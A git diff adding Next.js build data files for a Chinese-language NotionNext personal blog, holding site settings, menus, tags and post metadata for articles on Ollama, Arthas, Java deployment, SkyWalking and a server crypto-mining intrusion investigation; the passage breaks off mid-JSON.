+{"pageProps":{"NOTION_CONFIG":{"AUTHOR":"Both Savage","BIO":"talk is cheap","TITLE":"Both Savage","DESCRIPTION":"talk is cheap","LINK":"https://bothsavage.github.io/","THEME":"gitbook","CAN_COPY":"true","SINCE":"2024","CONTACT_EMAIL":"bothsavage@163.com","CUSTOM_MENU":"true","CUSTOM_RIGHT_CLICK_CONTEXT_MENU":"false","LANG":"en-US","THEME_SWITCH":"true","POST_SHARE_BAR_ENABLE":"true"},"notice":null,"siteInfo":{"title":"Both Savage","description":"一个NotionNext搭建的博客","pageCover":"https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","icon":"https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fc5ebdc5a-c3fd-403e-906b-17d64db6d01f%2Ffavicon.ico?table=collection&id=3c6ddc29-47df-43f6-a375-de1c3a9cf466&t=3c6ddc29-47df-43f6-a375-de1c3a9cf466&width=800"},"allNavPages":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","title":"mac体验ollama本地大模型","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","category":"技术分享","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","slug":"article/240325-ollama","pageIcon":"🗒️","lastEditedDate":"2024-03-26T05:49:00.447Z"},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","title":"Arthas简单使用备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","category":"技术分享","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","slug":"article/240320-arthas","pageIcon":"🗒️","lastEditedDate":"2024-03-20T04:52:10.213Z"},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","title":"Xmrig挖矿入侵服务器排查","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","category":"技术分享","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","slug":"article/240319-xmrig","pageIcon":"🗒️","lastEditedDate":"2024-03-19T17:15:42.884Z"},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","title":"Java部署脚本&重启备份检查&配置环境","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","category":"技术分享","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","slug":"article/240124-deploy","pageIcon":"🗒️","lastEditedDate":"2024-01-24T07:18:46.139Z"},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","title":"解决SkyWalking在gateway中logback链路丢失","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","category":"技术分享","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","slug":"article/240121-skywaking","pageIcon":"🗒️","lastEditedDate":"2024-01-20T18:52:32.627Z"},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","title":"Notion文章自动同步GitPage","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed&width=800&fmt=webp","category":"技术分享","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","slug":"article/240119-notion","pageIcon":"📗","lastEditedDate":"2024-03-19T17:14:00.935Z"},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","title":"示例文章","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6&width=800&fmt=webp","category":"心情随笔","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/example","pageIcon":"🗓️","lastEditedDate":"2024-01-19T06:18:08.580Z"},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","title":"开始","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf&width=800&fmt=webp","category":"知行合一","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/begin","pageIcon":"🏐","lastEditedDate":"2024-01-19T09:15:24.923Z"}],"tagOptions":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","name":"推荐","color":"red","count":8},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","name":"文字","color":"brown","count":2},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","name":"工具","color":"pink","count":4},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","name":"开发","color":"pink","count":3},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","name":"建站","color":"brown","count":4},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","name":"docker","color":"gray","count":1},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","name":"自动化","color":"blue","count":2},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","name":"折腾","color":"purple","count":2},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","name":"git","color":"default","count":1},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","name":"日志","color":"red","count":1},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","name":"微服务","color":"red","count":2},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","name":"spring","color":"purple","count":1},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","name":"skywalking","color":"blue","count":1}],"categoryOptions":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","name":"知行合一","color":"pink","count":1},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","name":"技术分享","color":"purple","count":6},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","name":"心情随笔","color":"orange","count":1}],"customNav":[{"icon":"fas fa-home","name":"主页","to":"//","target":"_self","show":true}],"customMenu":[{"id":"5263856d-837a-4f2d-bfc6-24cbff6c946c","icon":"fab fa-github","date":{"start_date":"2021-03-13"},"type":"Menu","slug":"https://github.com/BOTHSAVAGE","summary":"这是一个指向外部地址的单页","title":"Github","status":"Published","category":"","publishDate":1615593600000,"publishDay":"Mar 13, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"https://github.com/BOTHSAVAGE","name":"Github","password":"","show":true,"target":"_blank"},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"Mar 23, 2023","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]}],"postCount":8,"latestPosts":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed&width=800&fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本&重启备份检查&配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""}],"posts":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本&重启备份检查&配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed&width=800&fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","date":{"start_date":"2024-01-18"},"type":"Post","category":"心情随笔","slug":"article/example","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","title":"示例文章","status":"Published","publishDate":1705536000000,"publishDay":"Jan 18, 2024","lastEditedDate":"2024-01-19T06:18:08.580Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🗓️","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6&width=800&fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"文字","color":"brown"},{"name":"推荐","color":"red"}],"password":""},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","date":{"start_date":"2024-01-01"},"type":"Post","category":"知行合一","slug":"article/begin","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","title":"开始","status":"Published","publishDate":1704067200000,"publishDay":"Jan 1, 2024","lastEditedDate":"2024-01-19T09:15:24.923Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🏐","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf&width=800&fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"文字","color":"brown"},{"name":"推荐","color":"red"}],"password":""}]},"__N_SSG":true}
\ No newline at end of file
diff --git a/_next/data/mm0_cWkCfdum_vxo9wL_b/search.json b/_next/data/mm0_cWkCfdum_vxo9wL_b/search.json
new file mode 100644
index 000000000..824619e31
--- /dev/null
+++ b/_next/data/mm0_cWkCfdum_vxo9wL_b/search.json
@@ -0,0 +1 @@
+{"pageProps":{"NOTION_CONFIG":{"AUTHOR":"Both Savage","BIO":"talk is cheap","TITLE":"Both Savage","DESCRIPTION":"talk is cheap","LINK":"https://bothsavage.github.io/","THEME":"gitbook","CAN_COPY":"true","SINCE":"2024","CONTACT_EMAIL":"bothsavage@163.com","CUSTOM_MENU":"true","CUSTOM_RIGHT_CLICK_CONTEXT_MENU":"false","LANG":"en-US","THEME_SWITCH":"true","POST_SHARE_BAR_ENABLE":"true"},"notice":null,"siteInfo":{"title":"Both Savage","description":"一个NotionNext搭建的博客","pageCover":"https://www.notion.so/images/page-cover/nasa_robert_stewart_spacewalk_2.jpg","icon":"https://www.notion.so/image/https%3A%2F%2Fprod-files-secure.s3.us-west-2.amazonaws.com%2Feb3e1328-8f32-4ff5-8d18-8ea80020e175%2Fc5ebdc5a-c3fd-403e-906b-17d64db6d01f%2Ffavicon.ico?table=collection&id=3c6ddc29-47df-43f6-a375-de1c3a9cf466&t=3c6ddc29-47df-43f6-a375-de1c3a9cf466&width=800"},"allPages":[{"id":"f53bfc30-59bb-4890-ba28-0b045040aa5e","date":{"start_date":"2021-07-02"},"type":"Notice","slug":"#","summary":"类型为Notice的文章将被显示为公告,仅 hexo和next支持;仅限一个公告","title":"公告","status":"Invisible","category":"","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-18T16:18:35.186Z","lastEditedDay":"Jan 18, 2024","fullWidth":false,"pageIcon":"📔","pageCover":"","pageCoverThumbnail":"","tagItems":[],"password":""},{"id":"4fae0653-be7f-4e10-91de-344f6c6d0a6b","date":{"start_date":"2021-07-02"},"type":"Post","category":"未发布","slug":"article/guide","tags":["文字","推荐"],"summary":"<- 点击标题OPEN按钮打开说明;请检查您的NOTION_PAGE_ID是否成功配置,否则会显示我的默认数据库内容。","title":"模板说明","status":"Invisible","publishDate":1625184000000,"publishDay":"Jul 2, 2021","lastEditedDate":"2024-01-19T02:19:48.431Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://images.unsplash.com/photo-1494774157365-9e04c6720e47?ixlib=rb-4.0.3&q=85&fm=jpg&crop=entropy&cs=srgb&t=4fae0653-be7f-4e10-91de-344f6c6d0a6b","pageCoverThumbnail":"https://images.unsplash.com/photo-1494774157365-9e04c6720e47?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=4fae0653-be7f-4e10-91de-344f6c6d0a6b&width=800&fmt=webp","tagItems":[{"name":"文字","color":"brown"},{"name":"推荐","color":"red"}],"password":""},{"id":"62779828-3770-4944-923d-0e0a307d9cfe","password":"e23a2064bb54b827b6a7afb0385aca21","date":{"start_date":"2024-03-22","date_format":"relative"},"type":"Post","category":"心情随笔","slug":"article/240322-angry","tags":["思考"],"summary":"记下来","title":"控制愤怒—邯郸未成年杀人案","status":"Invisible","publishDate":1711065600000,"publishDay":"Mar 22, 2024","lastEditedDate":"2024-03-24T13:11:09.207Z","lastEditedDay":"Mar 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=62779828-3770-4944-923d-0e0a307d9cfe","pageCoverThumbnail":"https://source.unsplash.com/random?t=62779828-3770-4944-923d-0e0a307d9cfe","tagItems":[{"name":"思考","color":"yellow"}]},{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 